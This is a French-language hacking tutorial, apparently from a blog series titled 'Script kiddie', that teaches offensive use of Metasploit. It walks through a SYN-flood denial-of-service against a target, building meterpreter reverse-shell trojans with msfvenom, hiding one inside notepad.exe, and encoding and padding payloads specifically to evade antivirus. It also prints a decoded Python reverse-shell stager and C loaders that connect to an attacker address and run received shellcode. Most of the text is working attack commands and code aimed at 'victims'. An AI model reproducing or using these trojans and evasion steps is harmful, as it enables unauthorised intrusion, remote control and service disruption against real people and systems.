NOTE Post Réécriture : Cet article, et bien dâautres, fait parti de la sĂ©rie âScript kiddieâ. Il a Ă©tĂ© Ă©crit il y a plusieurs annĂ©es. Son contenu nâest pas Ă jour et il contient potentiellement des erreurs. Plus dâinformation sur la page de prĂ©sentation de la sĂ©rie.
Metasploit (MSF) est le véritable couteau-suisse des Hackers. Il comprend la plupart des outils nécessaires pour exploiter des machines.
Installer Metasploit
Simplement avec cette commande :
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall; chmod 755 msfinstall; ./msfinstall
Rapide tour de Metasploit
Metasploit est un Framework, il offre donc un ensemble de programme tous accessible depuis un logiciel commun. La particularitĂ© de MSF est quâil sâajoute Ă bash (ou autres interprĂ©teurs de commandes), ainsi, il agit comme une vĂ©ritable console.
Les programmes fournis sont prĂ©sents dans un dossier et il faut les appeler avant de les exĂ©cuter et dĂ©finir des variables quâils pourront utiliser.
Avant toutes choses, MSF a besoin dâune base de donnĂ©e afin de stocker certaines donnĂ©es de vos victimes ou dâĂ©tablir une connexion (ou encore, afin de piĂ©ger quelquâun avec de lâingĂ©nierie sociale).
msfdb init
Cela devrait la dĂ©marrer, en cas dâerreur, une petite recherche internet devrait permettre de rĂ©soudre le problĂšme.
Démarrer Metasploit :
msfconsole
Comme tous framework, la commande help renvoie des informations utiles sur les différentes nouvelles commandes disponibles.
Pour une fois, je nâexpliquerai pas beaucoup pour vous laisser mener vos propres recherches sur ce fantastique logiciel. En effet, un guide de 300 pages ne suffirait pas Ă couvrir lâentiĂšretĂ© des possibilitĂ©s quâoffre le programme⊠Je vous laisse donc lire la page dâaide.
Utilisons notre premier module
Je souhaite réaliser une attaque DOS (Denial of Service) sur un serveur Web. Commençons par chercher un module intéressant pour nos besoins :
search DOS
Cela va nous donner une liste de programme ayant le mot DOS dans leur nom ou leur description
Parmi les nombreuses propositions de cette liste, auxiliary/dos/tcp/synflood semble ĂȘtre la plus intĂ©ressante.
Je dĂ©cide donc de lâutiliser :
use auxiliary/dos/tcp/synflood
Ici, un numĂ©ro est attribuĂ© Ă lâauxiliaire, jâaurais donc bien pu taper (dans mon cas) :
use 74
Avec une autre commande, nous allons obtenir la liste des valeurs à donner pour lancer notre petite attaque :
show options
La colonne name dĂ©signe le nom de la variable ; current setting, sa valeur ; Required, sâil est obligatoire de le renseigner ; Description, une courte description de la variable (Ă quoi elle sert). On voit que des valeurs sont dĂ©jĂ renseignĂ©es, dans ce type dâattaque, on ne modifie gĂ©nĂ©ralement que deux paramĂštres, RHOST et RPORT, respectivement lâadresse IP de la victime ainsi que le port Ă viser.
On doit donc les renseigner en fonction de ce que lâon veut :
set RHOST 172.17.0.250
set RPORT 3128
Attention, ce nâest pas parce que je mets RPORT sur 3128 que vous devez le faire.
Pour ceux nâayant aucune connaissance en rĂ©seau, le port renvoie Ă une application spĂ©cifique,
3128 nâest quâun exemple parmi dâautre et seul une analyse avec Nmap vous dira quels services sont prĂ©sents sur quel portâŠ
Une fois les variables renseignĂ©es, il nây a plus quâĂ lancer lâexĂ©cution :
exploit
Cet exemple est bien sommaire. Cependant, il vous a sĂ»rement permis de comprendre lâutilisation la plus basique de Metasploit !
Vocabulaire
Metasploit utilise le vocabulaire des hackers, les vrais. Loin de lĂ lâidĂ©e que nous sommes des hackers, mais utiliser leur vocabulaire facilitera la comprĂ©hension de la documentation.
Payload : (charge utile) il sâagit du code que lâon va injecter Ă lâintĂ©rieur de la machine et qui va servir de pont entre nous et la victime. Le plus connu des payload est meterpreter, avec lâon peut par exemple se balader dans les fichiers, prendre des photos ou carrĂ©ment installer des logiciels.
Exploit : câest un code qui va exploiter une vulnĂ©rabilitĂ©âŠ
VulnĂ©rabilité : Faiblesse dâun systĂšme, reprĂ©sente un danger. Les vulnĂ©rabilitĂ©s sont des bouts dâun programme qui sont mal conçus et pour x ou y raison peuvent ĂȘtre exploitables (ou pas)
module : application que lâon peut importer dans Metasploit
Backdoor : Programme installer sur la machine de victime rendant lâaccĂšs Ă son ordinateur plus simple dans le cas oĂč nous devrions y retourner
Dâautres mots existent mais ceux-ci demeurent les plus importants Ă connaĂźtre. On verra le reste au fur et Ă mesureâŠ
Meterpreter, la prise de contrÎle de la machine simplifiée
Comme vu plus haut, meterpreter est un payload (mais aussi un shellcode), il va nous permettre de faire la liaison entre notre machine et celle de ma victime. Afin de simplifier la suite, la victime sera une machine sur Windows XP sans antivirus installé sur Virtualbox.
Si on cherche meterpreter dans la liste des modules de Metasploit,
on peut voir quâil existe beaucoup de logiciel lâutilisant.
GĂ©nĂ©ralement, pour prendre le contrĂŽle dâune machine Ă lâaide dâun exĂ©cutable,
on utilise windows/meterpreter/reverse_tcp. Avant de lâutiliser,
il va falloir déjà appeler le programme Handler qui va nous permettre de gérer les payloads hors de la console MSF.
use exploit/multi/handler
Puis enfin :
set payload windows/meterpreter/reverse_tcp
Il y a deux options à remplir impérativement, LHOST et LPORT,
câest-Ă -dire votre IP et le port que lequel votre machine va Ă©couter en vu dâĂ©ventuelle connexion.
Attention : LHOST peut ĂȘtre soit votre IP publique, soit votre IP privĂ©.
En effet, pour toutes attaques sur votre réseau, prenez la privée.
En revanche, lorsque vous vous attaquez Ă quelquâun hors de votre rĂ©seau, il va falloir renseigner votre IP publique.
De plus, il vous faudra rediriger les ports (port forwarding) pour que la machine extérieure puisse se connecter.
Maintenant que vous ĂȘtes des professionnels dans lâutilisation des variables, vous pourrez aisĂ©ment continuer :)
Nâoubliez pas une fois fini de lancer lâattaque.
Passons donc maintenant Ă la partie fabrication du trojan (cheval de Troie = shellcode).
Ouvrez un nouveau terminal en laissant lâautre de cĂŽtĂ©.
On va pour se faire utiliser msfvenom (msfpayload + msfencode, pour les anciennes versions).
Le plus simple reste de faire de cette maniÚre :
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.19 LPORT=4444 -f exe > trojan.exe
-p : payload utilisĂ©LHOST : variable, doit prendre la mĂȘme valeur que dans MSFLPORT : variable, doit prendre la mĂȘme valeur que dans MSF-f : format utilisĂ© pour lâapplication, ici exe> trojan.exe : flux de redirection classique Linux + le nom du fichier dans lequel on veut enregistrer notre trojan
Modifiez les paramĂštres en fonction de ce que vous avez besoin et installez le fichier sur la machine de la victime.
Petite prĂ©cision, vous pouvez obtenir la liste des diffĂ©rents payload, format ou dâautre chose en utilisant le paramĂštre -l, ex :
msfvenom -l payloads
Metasploit devrait vous avertir quâune session est ouverte et vous basculez automatiquement en mode meterpreter. Tapez help pour avoir un aperçu de ce quâil est possible de faire !
Un cheval de Troie plus complexe
Les trojans que propose Metasploit sont trĂšs simples et facilement dĂ©tectables, il faut donc pratiquer ce quâon appelle une « évasion ». Ăvader (je traduis depuis lâanglais oĂč le terme « evading » est utilisĂ©) son cheval de Troie, câest lui donner la capacitĂ© dâoutrepasser les antivirus.
Les techniques sont nombreuses et parfois trĂšs complexes, je vous en donnerai quelques-unes des miennesâŠ
Commençons par la premiĂšre, qui va ĂȘtre un peu complexe Ă comprendre. On va se servir dâun exemple de code lisible produit par Metasploit :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f py
Ceci nous renvoie le pavé suivant :
buf = Â b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41"
buf += b"\x50\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48"
buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
buf += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
...
buf += b"\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2"
buf += b"\x56\xff\xd5"
Ce nâest toujours pas vraiment trĂšs lisible Ă nos yeux de simple mortel, mais ça lâest dĂ©jĂ plus que si vous essayiez de dĂ©chiffrer le format exe. Ă lâintĂ©rieur de ce pavĂ© se trouve ce quâon appelle des « badchars » (mauvais caractĂšres), et ils sont assez facilement reconnaissables quand vous avez lâhabitude de faire des scripts dans ce genre :
\x00 : bite nulle\x0a : nouvelle ligne\x0d : retour de chariot (oui ça existe sur un ordinateur)\x20 : espace
Pour les enlever automatiquement du code, vous pouvez rajouter lâoption -b :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f py -b â\x00\x0a\x0d\x20â
Metasploit va alors essayer de chiffrer votre cheval de Troie en utilisant un algorithme compatible avec le langage utilisé. Bien sûr, les « encoders » (algorithmes de chiffrement) peuvent faire bien plus que de la suppression de mauvais caractÚres.
Vous pouvez obtenir la liste de ces algos en tapant :
msfvenom -l encoders
Le meilleur algo de cette liste est sans aucun doute shikata_ga_nai (traduit depuis le japonais : « il ne peut ĂȘtre aidé », phrase populaire japonaise dĂ©signant un individu que lâon ne peut sauver du danger en raison de la dette Ă©norme quâil aurait envers nous).
Vous pouvez utiliser les encoders Ă lâaide des paramĂštres -e et -i :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f py -e x86/shikata_ga_nai -i 10
-i spĂ©cifie alors le nombre fois oĂč le cheval de Troie va ĂȘtre chiffrĂ© (ici 10).
Ne mettez un nombre trop grand, câest inutile et ça ne fera que ralentir la machine.
Maintenant que nous avons vu comment chiffrer son code Ă lâaide dâun trojan bien plus simple Ă comprendre, passons Ă un code un peu plus brut. Si vous aviez essayĂ© de remplacer lâextension py par exe dans les commandes prĂ©cĂ©dentes pour voir si vous arriveriez Ă Ă©chapper Ă lâantivirus, vous auriez eu la mauvaise surprise de revoir votre ami Avast sâĂ©nerver. Les algorithmes que nous avons utilisĂ©s ont beau ĂȘtre performant, ils sont vieux et facilement reconnaissables par les AV. Il va donc falloir truander, une des spĂ©cialitĂ©s du hacker.
Commençons simple, cachons notre bout de code dans un exécutable :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -x notepad.exe -k -f exe -o virus_notepad.exe
Précisions :
-x : spĂ©cifie un exĂ©cutable dĂ©jĂ existant dans lequel va sâinjecter notre code.-k : va permettre au trojan de sâexĂ©cuter dans un autre thread (comprenez processus ici) ce qui aura pour effet de laisser lâapplication principale tourner de son cĂŽtĂ© sans gĂȘner son exĂ©cution.-o: spĂ©cifie le nom du fichier dans lequel sera enregistrĂ© notre projet.
Rentrons maintenant dans des sujets plus complexes pour réussir à faire fonctionner nos trojans évadés.
Structure dâun cheval de Troie
Depuis tout Ă lâheure, nous parlons de Trojan et je vous donne lâimpression dâoublier de grandes parties de Metasploit. Nâayez crainte, tout ce que lâon voit lĂ vous permettra de saisir ce qui se passe sur votre machine ou sur celle de votre victime. Libre Ă vous dĂšs lors de continuer votre lecture sur Metasploit et de ne pas passer directement Ă exploit-db, je vous encouragerai plutĂŽt Ă abandonner cette partie pour le moment et Ă vous comporter comme un script kiddie pour la simple et unique raison que vous ne retiendrez rien de ce que lâon va Ă©tudier avant dâen avoir lâutilitĂ©.
Sur un ordinateur, le code que vous exĂ©cutez doit ĂȘtre compilĂ© pour que la machine puisse le comprendre. Pour le moment, vous nâavez vu quâun langage de niveau assez bas, le shell, mais vous savez trĂšs bien que lâinformatique regorge dâĂ©trangetĂ© parfois inutile.
Ainsi, nous sommes passés de langage comme le C qui était de niveau plutÎt bas, à des monstres comme python qui ressemblent presque à la langue anglaise. Comprenez bien que par « niveau » on entend « à quel point est il proche du langage humain ».
Comme vous pouvez le voir sur ce schĂ©ma fait maison, lâassembleur est le langage de plus bas niveau possible (hors binaire et matĂ©riel). Câest donc le langage le plus proche de ce quâune machine peut comprendre, mais Ă©galement le plus dur Ă comprendre.
Nous allons dĂšs Ă prĂ©sent voir en quoi ce langage peut nous ĂȘtre utile pour la fabrication de nos codes malicieux.
Fabriquez donc un petit trojan en python avec msfvenom :
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200
Le résultat obtenu est :
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J...zpzfSkK')[0]))
Si vous décodez depuis base64 le code entre parenthÚses, cela vous donnera :
echo "aW1wb3J...zpzfSkK" | base64 -d
import socket,zlib,base64,struct,time
for x in range(10):
       try:
               s=socket.socket(2,socket.SOCK_STREAM)
               s.connect(('192.168.1.1',4200))
               break
       except:
               time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
       d+=s.recv(l-len(d))
exec(zlib.decompress(base64.b64decode(d)),{'s':s})
Ceux qui ont déjà fait du python reconnaßtront les caractéristiques du code :
- importation des librairies nécessaires
- Boucle pour tenter de se connecter Ă lâIP spĂ©cifiĂ©e sur le port spĂ©cifiĂ©
- 5 secondes dâĂ©cart entre chaque tentative
- Envoi du shellcode dans la derniĂšre partie
Python est bien pratique car il nây a aucun besoin de le compiler pour lâenvoyer, la machine de la victime sâen chargera tout seul Ă partir du moment oĂč python est installĂ© sur cette derniĂšre. Mais ce nâest pas toujours le cas (et presque jamais mĂȘme), il faudra donc passer par un script compiler et pouvant ĂȘtre exĂ©cutĂ© par le systĂšme dâexploitation de la victime.
Essayons avec ce cheval de Troie pour Linux écrit en C :
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUF_SIZE 500
int main(int argc, char *argv[])
{
int i = 0;
char lhost[] = "192.168.1.100";
int lport = 4200;
float nb = 2000000.0;
while(i < nb)
{
i++;
}
if(i > 100000)
{
int sfd;
char buf[BUF_SIZE];
struct sockaddr_in servaddr, cli;
int tmp = 0;
sfd = socket(AF_INET, SOCK_STREAM, 0);
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
inet_aton(lhost, &servaddr.sin_addr);
servaddr.sin_port = htons(lport);
if (connect(sfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) != -1)
0;
else
close(sfd);
while (read(sfd, buf, BUF_SIZE) > 0)
{
int (*foo)() = (int(*)())buf;
tmp = foo();
}
}
}
Remplacer lhost et lport par les valeurs qui conviennent puis compiler avec :
gcc trojan.c -o trojan.out
Essayer dâexĂ©cuter le fichier obtenu sur une machine Windows, vous nây arriverez pas ! Et ceci car la maniĂšre dont fonctionnent les exĂ©cutables nâest pas la mĂȘme.
Compilez maintenant avec :
gcc -S trojan.c
Ouvrez ensuite le nouveau fichier trojan.s. Celui-ci est Ă©crit en assembleur et ne doit pas vous sembler trĂšs digeste (que ça soit Ă premiĂšre vu ou dâun Ćil avec de lâexpĂ©rience). Câest vers ce langage qui nâest dĂ©jĂ pas comprĂ©hensible que se rapproche votre cheval de Troie quand vous le compilez. Cette petite parenthĂšse mâa permis, je lâespĂšre, de vous rappeler que tout langage informatique Ă©tant exĂ©cutĂ© doit dâabord ĂȘtre transformĂ© en quelque chose de digeste pour la machine.
Toutes ces instructions que vous voyez ont pour but de dĂ©placer des donnĂ©es dâune case mĂ©moire Ă une autre la plupart du temps. Votre processeur, lorsquâil exĂ©cute ce code, le fait de maniĂšre purement linĂ©aire. Or, en assembleur, il est possible de rajouter des instructions inutiles (comme dans nâimporte quel langage informatique) en dĂ©plaçant des valeurs dâun registre Ă un autre sans rĂ©el but. Beaucoup dâantivirus, face Ă ce genre de mouvements, ne sauront pas reconnaĂźtre la dangerositĂ© du programme.
Metasploit possĂšde ce que lâon appelle des NOP (No operation), qui sont un ensemble dâinstructions inutiles ajoutĂ©es avant un trojan. Ce nâest pas parfait, et les meilleurs NOP seront toujours ceux faits Ă la main, mais câest dĂ©jĂ un bon dĂ©part. ConcrĂštement, on va juste demander Ă Metasploit dâajouter des dĂ©clarations de variables Ă tire-larigot pour brouiller les pistes.
Pour ce faire, utilisez le paramÚtre -n et spécifiez ensuite le nombre de NOP que vous voulez :
msfvenom -p linux/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f py -n 30
Vous pouvez également le combiner avec un encoder :
msfvenom -p linux/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f py -n 30 -e x86/shikata_ga_nai
Accessoirement, Ă©vitez de garder les noms de variables inchangĂ©s, ils sont beaucoup trop clairs et reconnaissables facilement. Utilisez lâoption -v pour les changer :
msfvenom -p linux/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f py -v ma_variable
Avec ce genre de techniques, vous devriez ĂȘtre capable dâĂ©chapper Ă pas mal dâantivirus.
Ăvasion
On dĂ©signe par Ă©vasion, la tentative pour un hacker de contourner la sĂ©curitĂ© dâun antivirus. Pour continuer Ă lire cette partie, il est nĂ©cessaire dâavoir les connaissances de base du langage C.
Pour suivre cette partie, nous nous baserons sur un shellcode fait pour Windows. Nous allons essayer de le rendre totalement indétectable pour Windows Defender.
Tout dâabord, gĂ©nĂ©rons le code du shell code en C :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4200 -f c -e x86/shikata_ga_nai -i 10 -n 30 -v banane R
Il va ensuite falloir inscrire le code Ă lâintĂ©rieur dâun fichier C Ă lâaide des lignes qui vont suivre. Nous allons ensuite user de diffĂ©rentes stratĂ©gies pour casser lâAntivirus (Source française : https://www.kali-linux.fr/forum/index.php?topic=2973.0).
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
int main(int argc, char * argv[]) {
unsigned char banane[] =
"\x93\x92\x40\x3f\xfd\xd6\x9b\x90\x9b\xd6\x9b\x9b\x48\x91\x27"
"\x2f\x93\xf5\x43\x3f\xfd\x49\xf8\x2f\x40\x37\x98\x93\x9b\x41"
"\xbd\xf9\xbb\xea\x33\xdb\xde\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x96\x31\x6a\x13\x03\x6a\x13\x83\xc2\xfd\x59\x1f\x88\xab\xab"
...
"\x40\xf6\x13\xf1\x89\x4a\x8e\xe1\xb5\x8a\x42\x98\x01\xf6\x40"
"\x8e\xf2\x1e\x90\x67\x35\xbf\xb3\x33\xba\x31\xd9\xf0\xa0\x45";
int (*ret)() = (int(*)())banane;
ret();
return 1Â ;
}
Vous reconnaissez que la ligne unsigned char banane[] correspond au code que vous a renvoyĂ© Metasploit. Si vous changez le nom de la variable, ce que je peux comprendre, car le mot banane nâest pas parmi les meilleurs, nâoubliez pas de le changer Ă©galement dans le pointeur.
Exploit-db
Exploit-db est une base de donnĂ©e regroupant une multitude dâexploitations. Vous nâaurez plus quâĂ trouver celui qui convient Ă votre cas, puis Ă lâutiliser.
Commandes pour lâinstaller :
git clone https://github.com/offensive-security/exploitdb.git /opt/exploit-database
ln -sf /opt/exploit-database/searchsploit /usr/local/bin/searchsploit
Vous avez la possibilité dÚs à présent de faire une recherche avec :
searchsploit [exploit]